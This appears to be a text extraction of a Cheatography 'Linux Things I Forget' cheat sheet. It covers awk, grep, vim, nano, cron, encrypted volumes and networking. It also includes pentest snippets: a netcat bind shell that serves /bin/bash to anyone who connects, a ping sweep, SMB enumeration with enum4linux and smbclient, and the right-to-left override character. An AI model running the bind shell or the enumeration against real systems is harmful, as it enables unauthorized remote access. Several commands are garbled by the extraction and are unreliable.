# Cheatography

# Linux Things I Forget Cheat Sheet

by fred via cheatography.com/22666/cs/9068/

# AWK | CAT | GREP

### **AWK**

### Find line number of IP

awk '/197.128.145.39/{
print NR; exit }'
ips.txt

### CAT

#### With line numbers

cat -n file.txt

### GREP

grep "href=" index.html | cut d"/" -f3 | grep icq.com | sort -u > icqserver.txt

# Count occurences of \x in 1906.py

cat 1906.py | grep -o \x |wc -l Find line number of IP grep -n 197.128.145.39 ips.txt

### Network

Show all eth network interfaces, e.g. eth0, eth1...

dmesg | grep ^eth

### **Restart Networking**

sudo service network-manager restart

### Whatportis

pip install whatportis
whatportis 21

# CIDR Calculation

sudo apt-get install
sipcalc
sipcalc 192.168.1.0/24

# DIFF & NDIFF (File Comparison)

diff file1 file2 (compare files line by line)
ndiff file1 file2
(compare 2 nmap scans for

### **Boot Process**

- 1. Power on
- 2. BIOS
- 3. MBR 1st sector of HDD
- 4. GRUB
- 5. Kernel
- 6. initramfs Initial RAM disk
- 7. init /sbin/init (daemons and services)
- 8. Command shell using getty
- 9. GUI X Windows

# Disable services from loading on login

systemct1 disable
apache2 (disable apache from
auto-starting on boot/login)

### Unicode

http://superuser.com/questions/59418/how-to-type-special-characters-in-linux

### **Example - RTL Override**

Hold CTRL+SHIFT+U, then type in 202e

The invisible right-to-left override character will be inserted and anything typed after this character will be backwards.

# Command Line Cheatsheet

Create and view interactive cheatsheets on the commandline!

# Set editor in path

nano .bashrc (in your home directory)

export EDITOR="/bin/nan-

Install and use cheat

# Command Line Cheatsheet (cont)

sudo pip install cheat
cheat netstat

Cheatsheets are stored in ~/.cheat/

### Edit a cheatsheet

cheat -e foo

# **ASCII Table & Calculator**

man ascii (show ascii table)
bc (command line calculator)

### **Permissions**

### Change ownership

sudo chown username filename

# Clone ownership

chown --reference=otherfile thisfile

# FIND

### Case insensitive -iname

sudo find -iname fileorfoldername
sudo find -iname fileorfoldername\*

# XARGS

# **Pingsweep**

echo 192.168.9.{2-00..250} | xargs -n 1 -P0 ping -c 1 | grep "bytes from"

# Run command against files from find

find \* | xargs exiftool (Run exiftool against all files in current directory and subdirectories)

# TREE (Directory Tree)

### Show a directory tree

tree directoryname

# **Monitoring & Processes**

### WATCH

watch 1s (run Is every 2secs)

### TOP

top (view processes in detail)
htop (better alternative)

### **CRON JOBS**

crontab -e (list and edit
cronjobs)

Generate your crontab line easily:

http://crontab-generator.org/

# **SSL Certificates**

Follow instructions at https://certbot.eff.org/

To generate an auto-renewal

cronjob - http://crontab-generator.org/

**EXAMPLE**:

crontab -e

17 3 \* /root/certbot-auto renew -- quiet --no-self-upgrade

# Hotkeys

Nautilus (Switch views)

CTRL+1

CTRL+2

CTRL+3

CTRL+H (show hidden)

CTRL+L (show location)

Nautilus Graphical Mode Search

ALT+F2

Deleted files go to "~/.local/sha-re/Trash/files/"

Delete or CTRL+Delete = Move to Trash

Shift+Delete = Permanent

Delete



changes)

By **fred** cheatography.com/fred/

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# VI & VIM

I / INS = Insert Mode

### **SELECTING TEXT**

v = select range

V = select entire line

d = delete selected text

### COPY/PASTE

y = copy selection

yy = copy line

p = paste before cursor

### **DELETE**

dd = delete line

x = cut selected text

d\$ = delete from cursor to end of line

### **UNDO / REDO**

u = undo last action

CTRL+R = redo last action

### **EXIT**

ZZ = save and quit

:w = save

:q! = quit without saving

## **FIND AND REPLACE**

:%s/eth0/br0/g = find eth0 and replace with br0

:%s#</font>#blah#g = find </font> and replace with blah

# NANO

# **Copy and Paste**

ALT+6 and CTRL+U

Show line numbers

nano -c filename

# Output

### To screen and file

command1 2>&1 | tee
log.txt

ls -al | tee file.txt

# Append to screen and file

command1 | tee -a
log.txt

# **Multiple Commands**

cat rubbish.txt; ls

# **Netcat Bind Shell**

#### Victim

nc -lvvp 2345 -e /bin/bash

#### Attacker

nc -vn 192.168.1.177

# Base64 Encode & Decode

python

"blah".encode('base64')
"YXNjaWkxLnR4dA==".decode('base64')

# **Encrypted Volumes**

http://askubuntu.com/questions/63594/mount-encrypted-volumes-from-command-line-#63598

sudo apt-get install
cryptsetup

# **Decrypt & Mount**

sudo cryptsetup luksOpen
/dev/sda1 my\_encrypted\_volume

sudo mkdir /media/my\_device

sudo mount /dev/mapper/my\_encrypted\_volume

# /media/my\_device Unmount & Lock

sudo umount /media/my\_device

sudo cryptsetup

luksClose my\_encryptedvolume

# **Auto-mount to Location**

sudo udisks --mount
/dev/mapper/my\_encrypted\_volume

# IP Assignment

### **MANUAL**

**Note:** Changes are nonpersistent. To make changes permanent, edit /etc/network/interfaces file.

ifconfig eth0 192.168.7-2.100/24 (configure IP)
route add default gw
192.168.72.2 (add gateway)
echo nameserver 4.2.2.2
> etc/resolv.conf (add

DNS to resolv.conf)

**Proxychains** 

(usage info)

google.com

rge.net/howto.html

### **AUTO**

dhclient eth0
ifconfig
killall dhclient
ps -ef | grep dhclient

http://proxychains.sourcefo-

/etc/proxychains.conf

proxychains firefox

Resolve google.com through

proxy specified by proxychai-

# SMB (Samba, NETBIOS) (cont)

smbclient -I 192.168.9-2.131 -R virnet.com -N - U (capital i, -R = domain, -N = no pass, -U = user)

### **TMUX**

https://danielmiessler.com/studv/tmux/

ssh blah@x.x.x.x

nmap -A etc...

CTRL+B, D (to exit and keep session running)

### If the session dies

ssh blah@x.x.x.x
tmux attach (to connect to first available session)

### VNC Server

apt-get install tightvncserver
vncserver

You will require a password to access your desktops...

View only password? n

netstat -antp | grep vnc

(usually runs on port 5901)

# SMB (Samba, NETBIOS)

# **RPCClient**

ns.conf

http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html

enum4linux -U -o 192.16-8.1.200

# **SMBClient**

smbclient -L //TARGETIP
(list shares)
smbclient //TARGETIP/tmp

(connect to tmp folder)

C

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